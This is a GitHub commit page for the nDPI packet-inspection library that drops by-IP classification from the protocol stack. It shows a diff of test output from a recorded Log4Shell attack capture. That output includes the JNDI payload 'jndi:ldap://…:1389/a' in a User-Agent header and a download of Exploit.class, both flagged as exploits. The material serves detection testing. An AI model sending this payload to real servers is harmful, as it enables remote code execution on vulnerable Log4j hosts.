vrr/nDPI
2
0
Fork 0
mirror of https://github.com/vel21ripn/nDPI.git synced 2026-05-03 01:10:17 +00:00
Code Issues Projects Releases Packages Wiki Activity Actions 5

Remove classification "by-ip" from protocol stack (#1743)

Browse source 
Basically:
* "classification by-ip" (i.e. `flow->guessed_protocol_id_by_ip` is
NEVER returned in the protocol stack (i.e.
`flow->detected_protocol_stack[]`);
* if the application is interested into such information, it can access
`ndpi_protocol->protocol_by_ip` itself.

There are mainly 4 points in the code that set the "classification
by-ip" in the protocol stack:  the generic `ndpi_set_detected_protocol()`/
`ndpi_detection_giveup()` functions and the HTTP/STUN  dissectors.

In the unit tests output, a print about `ndpi_protocol->protocol_by_ip`
has been added for each flow: the huge diff of this commit is mainly due
to that.

Strictly speaking, this change is NOT an API/ABI breakage, but there are
important differences in the classification results. For examples:
* TLS flows without the initial handshake (or without a matching
SNI/certificate) are simply classified as `TLS`;
* similar for HTTP or QUIC flows;
* DNS flows without a matching request domain are simply classified as
`DNS`; we don't have `DNS/Google` anymore just because the server is
8.8.8.8 (that was an outrageous behaviour...);
* flows previusoly classified only "by-ip" are now classified as
`NDPI_PROTOCOL_UNKNOWN`.

See #1425 for other examples of why adding the "classification by-ip" in
the protocol stack is a bad idea.

Please, note that IPV6 is not supported :(  (long standing issue in nDPI) i.e.
`ndpi_protocol->protocol_by_ip` wil be always `NDPI_PROTOCOL_UNKNOWN` for
IPv6 flows.

Define `NDPI_CONFIDENCE_MATCH_BY_IP` has been removed.

Close #1687
This commit is contained in:
Ivan Nardi 2022-09-20 22:24:47 +02:00 • committed by GitHub
parent 174cd739db
commit a7c2734b38
No known key found for this signature in database
GPG key ID: 4AEE18F83AFDEB23
379 changed files with 9022 additions and 9061 deletions
Download patch file Download diff file Expand all files Collapse all files

14
tests/result/log4j-webapp-exploit.pcap.out
View file

@ -24,13 +24,13 @@ Unknown 356 25081 2
HTTP 34 6741 3
LDAP 32 2796 2
1 TCP 172.16.238.10:48534 <-> 172.16.238.11:80 [proto: 7/HTTP][ClearText][Confidence: DPI][cat: Download/7][7 pkts/692 bytes <-> 6 pkts/1964 bytes][Goodput ratio: 30/79][0.00 sec][Hostname/SNI: 172.16.238.11][bytes ratio: -0.479 (Download)][IAT c2s/s2c min/avg/max/stddev: 0/0 0/0 1/1 0/0][Pkt Len c2s/s2c min/avg/max/stddev: 68/68 99/327 276/1420 72/494][URL: 172.16.238.11/Exploit.class][StatusCode: 200][Content-Type: application/java-vm][User-Agent: Java/1.8.0_51][Risk: ** Binary App Transfer **** HTTP Numeric IP Address **** Possible Exploit **][Risk Score: 510][Risk Info: Found host 172.16.238.11 / Found mime exe java-vm / Suspicious Log4J][PLAIN TEXT (GET /Exploit.class HTTP/1.1)][Plen Bins: 0,0,0,0,0,0,66,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,33,0,0,0,0,0]
2 TCP 172.16.238.10:48444 <-> 172.16.238.11:80 [proto: 7/HTTP][ClearText][Confidence: DPI][cat: Download/7][6 pkts/624 bytes <-> 6 pkts/1964 bytes][Goodput ratio: 33/79][0.01 sec][Hostname/SNI: 172.16.238.11][bytes ratio: -0.518 (Download)][IAT c2s/s2c min/avg/max/stddev: 0/0 1/2 3/3 1/1][Pkt Len c2s/s2c min/avg/max/stddev: 68/68 104/327 276/1420 77/494][URL: 172.16.238.11/Exploit.class][StatusCode: 200][Content-Type: application/java-vm][User-Agent: Java/1.8.0_51][Risk: ** Binary App Transfer **** HTTP Numeric IP Address **** Possible Exploit **][Risk Score: 510][Risk Info: Found host 172.16.238.11 / Found mime exe java-vm / Suspicious Log4J][PLAIN TEXT (GGET /Exploit.class HTTP/1.1)][Plen Bins: 0,0,0,0,0,0,66,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,33,0,0,0,0,0]
3 TCP 172.16.238.1:1984 <-> 172.16.238.10:8080 [proto: 7/HTTP][ClearText][Confidence: DPI][cat: Web/5][5 pkts/994 bytes <-> 4 pkts/503 bytes][Goodput ratio: 65/44][19.29 sec][Hostname/SNI: 192.168.13.31][bytes ratio: 0.328 (Upload)][IAT c2s/s2c min/avg/max/stddev: 1/7 4822/6428 10256/10256 4838/4568][Pkt Len c2s/s2c min/avg/max/stddev: 68/68 199/126 714/291 258/95][URL: 192.168.13.31:8080/log4shell/login][StatusCode: 200][Req Content-Type: application/x-www-form-urlencoded][Content-Type: text/html][User-Agent: jndi:ldap://172.16.238.11:1389/a][Risk: ** Known Proto on Non Std Port **** HTTP Numeric IP Address **** Possible Exploit **][Risk Score: 310][Risk Info: Found host 192.168.13.31 / Suspicious Log4J / Expected on port 80][PLAIN TEXT (POST /log)][Plen Bins: 0,0,0,0,0,0,50,0,0,0,0,0,0,0,0,0,0,0,0,0,50,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]
4 TCP 172.16.238.10:57650 <-> 172.16.238.11:1389 [proto: 112/LDAP][ClearText][Confidence: DPI][cat: System/18][9 pkts/739 bytes <-> 8 pkts/727 bytes][Goodput ratio: 16/24][17.91 sec][bytes ratio: 0.008 (Mixed)][IAT c2s/s2c min/avg/max/stddev: 0/5 2545/3580 17700/17700 6187/7060][Pkt Len c2s/s2c min/avg/max/stddev: 68/68 82/91 137/215 22/47][Risk: ** Known Proto on Non Std Port **][Risk Score: 50][PLAIN TEXT (objectClass)][Plen Bins: 51,16,16,0,16,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]
5 TCP 172.16.238.10:57742 <-> 172.16.238.11:1389 [proto: 112/LDAP][ClearText][Confidence: DPI][cat: System/18][9 pkts/739 bytes <-> 6 pkts/591 bytes][Goodput ratio: 16/30][0.02 sec][bytes ratio: 0.111 (Mixed)][IAT c2s/s2c min/avg/max/stddev: 0/0 2/1 11/2 4/1][Pkt Len c2s/s2c min/avg/max/stddev: 68/68 82/98 137/215 22/52][Risk: ** Known Proto on Non Std Port **][Risk Score: 50][PLAIN TEXT (objectClass)][Plen Bins: 51,16,16,0,16,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]
1 TCP 172.16.238.10:48534 <-> 172.16.238.11:80 [proto: 7/HTTP][IP: 0/Unknown][ClearText][Confidence: DPI][cat: Download/7][7 pkts/692 bytes <-> 6 pkts/1964 bytes][Goodput ratio: 30/79][0.00 sec][Hostname/SNI: 172.16.238.11][bytes ratio: -0.479 (Download)][IAT c2s/s2c min/avg/max/stddev: 0/0 0/0 1/1 0/0][Pkt Len c2s/s2c min/avg/max/stddev: 68/68 99/327 276/1420 72/494][URL: 172.16.238.11/Exploit.class][StatusCode: 200][Content-Type: application/java-vm][User-Agent: Java/1.8.0_51][Risk: ** Binary App Transfer **** HTTP Numeric IP Address **** Possible Exploit **][Risk Score: 510][Risk Info: Found host 172.16.238.11 / Found mime exe java-vm / Suspicious Log4J][PLAIN TEXT (GET /Exploit.class HTTP/1.1)][Plen Bins: 0,0,0,0,0,0,66,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,33,0,0,0,0,0]
2 TCP 172.16.238.10:48444 <-> 172.16.238.11:80 [proto: 7/HTTP][IP: 0/Unknown][ClearText][Confidence: DPI][cat: Download/7][6 pkts/624 bytes <-> 6 pkts/1964 bytes][Goodput ratio: 33/79][0.01 sec][Hostname/SNI: 172.16.238.11][bytes ratio: -0.518 (Download)][IAT c2s/s2c min/avg/max/stddev: 0/0 1/2 3/3 1/1][Pkt Len c2s/s2c min/avg/max/stddev: 68/68 104/327 276/1420 77/494][URL: 172.16.238.11/Exploit.class][StatusCode: 200][Content-Type: application/java-vm][User-Agent: Java/1.8.0_51][Risk: ** Binary App Transfer **** HTTP Numeric IP Address **** Possible Exploit **][Risk Score: 510][Risk Info: Found host 172.16.238.11 / Found mime exe java-vm / Suspicious Log4J][PLAIN TEXT (GGET /Exploit.class HTTP/1.1)][Plen Bins: 0,0,0,0,0,0,66,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,33,0,0,0,0,0]
3 TCP 172.16.238.1:1984 <-> 172.16.238.10:8080 [proto: 7/HTTP][IP: 0/Unknown][ClearText][Confidence: DPI][cat: Web/5][5 pkts/994 bytes <-> 4 pkts/503 bytes][Goodput ratio: 65/44][19.29 sec][Hostname/SNI: 192.168.13.31][bytes ratio: 0.328 (Upload)][IAT c2s/s2c min/avg/max/stddev: 1/7 4822/6428 10256/10256 4838/4568][Pkt Len c2s/s2c min/avg/max/stddev: 68/68 199/126 714/291 258/95][URL: 192.168.13.31:8080/log4shell/login][StatusCode: 200][Req Content-Type: application/x-www-form-urlencoded][Content-Type: text/html][User-Agent: jndi:ldap://172.16.238.11:1389/a][Risk: ** Known Proto on Non Std Port **** HTTP Numeric IP Address **** Possible Exploit **][Risk Score: 310][Risk Info: Found host 192.168.13.31 / Suspicious Log4J / Expected on port 80][PLAIN TEXT (POST /log)][Plen Bins: 0,0,0,0,0,0,50,0,0,0,0,0,0,0,0,0,0,0,0,0,50,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]
4 TCP 172.16.238.10:57650 <-> 172.16.238.11:1389 [proto: 112/LDAP][IP: 0/Unknown][ClearText][Confidence: DPI][cat: System/18][9 pkts/739 bytes <-> 8 pkts/727 bytes][Goodput ratio: 16/24][17.91 sec][bytes ratio: 0.008 (Mixed)][IAT c2s/s2c min/avg/max/stddev: 0/5 2545/3580 17700/17700 6187/7060][Pkt Len c2s/s2c min/avg/max/stddev: 68/68 82/91 137/215 22/47][Risk: ** Known Proto on Non Std Port **][Risk Score: 50][PLAIN TEXT (objectClass)][Plen Bins: 51,16,16,0,16,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]
5 TCP 172.16.238.10:57742 <-> 172.16.238.11:1389 [proto: 112/LDAP][IP: 0/Unknown][ClearText][Confidence: DPI][cat: System/18][9 pkts/739 bytes <-> 6 pkts/591 bytes][Goodput ratio: 16/30][0.02 sec][bytes ratio: 0.111 (Mixed)][IAT c2s/s2c min/avg/max/stddev: 0/0 2/1 11/2 4/1][Pkt Len c2s/s2c min/avg/max/stddev: 68/68 82/98 137/215 22/52][Risk: ** Known Proto on Non Std Port **][Risk Score: 50][PLAIN TEXT (objectClass)][Plen Bins: 51,16,16,0,16,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]
Undetected flows:
1 TCP 172.16.238.10:55408 <-> 10.10.10.31:9001 [proto: 0/Unknown][ClearText][Confidence: Unknown][178 pkts/12940 bytes <-> 176 pkts/12009 bytes][Goodput ratio: 6/0][17.64 sec][bytes ratio: 0.037 (Mixed)][IAT c2s/s2c min/avg/max/stddev: 0/0 65/124 7288/7288 623/831][Pkt Len c2s/s2c min/avg/max/stddev: 68/68 73/68 78/89 3/2][Plen Bins: 100,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]
2 TCP 172.16.238.10:55498 <-> 10.10.10.31:9001 [proto: 0/Unknown][ClearText][Confidence: Unknown][1 pkts/76 bytes <-> 1 pkts/56 bytes][Goodput ratio: 0/0][0.00 sec][Plen Bins: 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]
1 TCP 172.16.238.10:55408 <-> 10.10.10.31:9001 [proto: 0/Unknown][IP: 0/Unknown][ClearText][Confidence: Unknown][178 pkts/12940 bytes <-> 176 pkts/12009 bytes][Goodput ratio: 6/0][17.64 sec][bytes ratio: 0.037 (Mixed)][IAT c2s/s2c min/avg/max/stddev: 0/0 65/124 7288/7288 623/831][Pkt Len c2s/s2c min/avg/max/stddev: 68/68 73/68 78/89 3/2][Plen Bins: 100,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]
2 TCP 172.16.238.10:55498 <-> 10.10.10.31:9001 [proto: 0/Unknown][IP: 0/Unknown][ClearText][Confidence: Unknown][1 pkts/76 bytes <-> 1 pkts/56 bytes][Goodput ratio: 0/0][0.00 sec][Plen Bins: 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]